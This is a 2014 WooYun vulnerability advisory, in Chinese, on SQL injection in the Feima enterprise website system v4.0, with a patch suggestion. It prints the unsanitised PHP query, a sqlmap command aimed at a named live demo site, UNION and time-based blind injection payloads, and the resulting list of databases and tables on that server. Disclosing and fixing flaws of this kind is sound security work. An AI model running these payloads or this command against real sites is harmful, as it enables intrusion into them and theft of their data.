当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-049232

漏洞标题：飞马企业网站系统 v4.0 SQL注射 可致使所有数据泄露

相关厂商：安康飞马

漏洞作者： lxj616

提交时间：2014-01-18 12:44

修复时间：2014-04-18 12:45

公开时间：2014-04-18 12:45

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-01-18： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-04-18： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

飞马企业网站系统 v4.0
http://www.feima123.com/
安康飞马网络
SQL注射，演示站点为http://www.akzjmzx.com

详细说明：

<?php
  
$id = $_REQUEST['id'];          //get post 通吃
include("include/conn.php");
$queryImg="select * from hyimg_table where id=$id";  //无过滤直接进查询
$resultImg=mysql_query($queryImg);                   //查了
$rowImg = mysql_fetch_array($resultImg);
//不用往下看了


C:\Users\Administrator>sqlmap.py -u "http://www.akzjmzx.com/tpxx.php?id=26" --tables


只跑了表证明危害，足矣

漏洞证明：

sqlmap identified the following injection points with a total of 90 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: UNION query
    Title: MySQL UNION query (NULL) - 6 columns
    Payload: id=-1995 UNION ALL SELECT NULL,NULL,CONCAT(0x7162626f71,0x7554664d79484e636767,0x71626d6871),NULL,NULL,NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=26 AND SLEEP(5)
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
Database: aklhw_data
[7 tables]
+----------------------------------------------+
| anli_table                                   |
| anlifenlei_table                             |
| jianjie_table                                |
| lianxi_table                                 |
| liuyan_table                                 |
| news_table                                   |
| sysadmin_table                               |
+----------------------------------------------+
Database: performance_schema
[17 tables]
+----------------------------------------------+
| cond_instances                               |
| events_waits_current                         |
| events_waits_history                         |
| events_waits_history_long                    |
| events_waits_summary_by_instance             |
| events_waits_summary_by_thread_by_event_name |
| events_waits_summary_global_by_event_name    |
| file_instances                               |
| file_summary_by_event_name                   |
| file_summary_by_instance                     |
| mutex_instances                              |
| performance_timers                           |
| rwlock_instances                             |
| setup_consumers                              |
| setup_instruments                            |
| setup_timers                                 |
| threads                                      |
+----------------------------------------------+
Database: wlmq107
[7 tables]
+----------------------------------------------+
| mbaojian_table                               |
| mcaidan_table                                |
| mjianjie_table                               |
| mlogo_table                                  |
| mxinxi_table                                 |
| mzhanghao_table                              |
| sysadmin_table                               |
+----------------------------------------------+
Database: wd0123
[14 tables]
+----------------------------------------------+
| hybanner_table                               |
| hyimg_table                                  |
| hyimgfenlei_table                            |
| hyjieshao_table                              |
| hyjsimg_table                                |
| hykefu_table                                 |
| hyliuyan_table                               |
| hynews_table                                 |
| hynewsfenlei_table                           |
| hyseo_table                                  |
| hytopimg_table                               |
| hyxinxi_table                                |
| hyzhanghao_table                             |
| hyzhaopin_table                              |
+----------------------------------------------+
Database: feimanet
[16 tables]
+----------------------------------------------+
| bangding_table                               |
| hybanner_table                               |
| hyimg_table                                  |
| hyimgfenlei_table                            |
| hyjieshao_table                              |
| hyjsimg_table                                |
| hykefu_table                                 |
| hyliuyan_table                               |
| hynews_table                                 |
| hynewsfenlei_table                           |
| hyseo_table                                  |
| hytopimg_table                               |
| hyxinxi_table                                |
| hyzhanghao_table                             |
| hyzhaopin_table                              |
| sysadmin_table                               |
+----------------------------------------------+
Database: feima123
[3 tables]
+----------------------------------------------+
| anli_table                                   |
| dongtai_table                                |
| sysadmin_table                               |
+----------------------------------------------+
Database: mysql
[24 tables]
+----------------------------------------------+
| user                                         |
| columns_priv                                 |
| db                                           |
| event                                        |
| func                                         |
| general_log                                  |
| help_category                                |
| help_keyword                                 |
| help_relation                                |
| help_topic                                   |
| host                                         |
| ndb_binlog_index                             |
| plugin                                       |
| proc                                         |
| procs_priv                                   |
| proxies_priv                                 |
| servers                                      |
| slow_log                                     |
| tables_priv                                  |
| time_zone                                    |
| time_zone_leap_second                        |
| time_zone_name                               |
| time_zone_transition                         |
| time_zone_transition_type                    |
+----------------------------------------------+
Database: qixiangju
[11 tables]
+----------------------------------------------+
| dflz_table                                   |
| dwgk_table                                   |
| fzjz_table                                   |
| kjfw_table                                   |
| lianxi_table                                 |
| qxyw_table                                   |
| sysadmin_table                               |
| tqyb_table                                   |
| xdh_table                                    |
| xjdt_table                                   |
| zcfg_table                                   |
+----------------------------------------------+
Database: akzjmzx
[14 tables]
+----------------------------------------------+
| hybanner_table                               |
| hyimg_table                                  |
| hyimgfenlei_table                            |
| hyjieshao_table                              |
| hyjsimg_table                                |
| hykefu_table                                 |
| hyliuyan_table                               |
| hynews_table                                 |
| hynewsfenlei_table                           |
| hyseo_table                                  |
| hytopimg_table                               |
| hyxinxi_table                                |
| hyzhanghao_table                             |
| hyzhaopin_table                              |
+----------------------------------------------+
Database: information_schema
[37 tables]
+----------------------------------------------+
| CHARACTER_SETS                               |
| COLLATIONS                                   |
| COLLATION_CHARACTER_SET_APPLICABILITY        |
| COLUMNS                                      |
| COLUMN_PRIVILEGES                            |
| ENGINES                                      |
| EVENTS                                       |
| FILES                                        |
| GLOBAL_STATUS                                |
| GLOBAL_VARIABLES                             |
| INNODB_CMP                                   |
| INNODB_CMPMEM                                |
| INNODB_CMPMEM_RESET                          |
| INNODB_CMP_RESET                             |
| INNODB_LOCKS                                 |
| INNODB_LOCK_WAITS                            |
| INNODB_TRX                                   |
| KEY_COLUMN_USAGE                             |
| PARAMETERS                                   |
| PARTITIONS                                   |
| PLUGINS                                      |
| PROCESSLIST                                  |
| PROFILING                                    |
| REFERENTIAL_CONSTRAINTS                      |
| ROUTINES                                     |
| SCHEMATA                                     |
| SCHEMA_PRIVILEGES                            |
| SESSION_STATUS                               |
| SESSION_VARIABLES                            |
| STATISTICS                                   |
| TABLES                                       |
| TABLESPACES                                  |
| TABLE_CONSTRAINTS                            |
| TABLE_PRIVILEGES                             |
| TRIGGERS                                     |
| USER_PRIVILEGES                              |
| VIEWS                                        |
+----------------------------------------------+

修复方案：

<?php
  
$id = $_REQUEST['id'];          //get post 通吃
//添加以下语句
$id = intval($id);
//添加以上语句
include("include/conn.php");
$queryImg="select * from hyimg_table where id=$id";  //无过滤直接进查询
$resultImg=mysql_query($queryImg);                   //查了
$rowImg = mysql_fetch_array($resultImg);
//不用往下看了


版权声明：转载请注明来源 lxj616@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞评价：

评论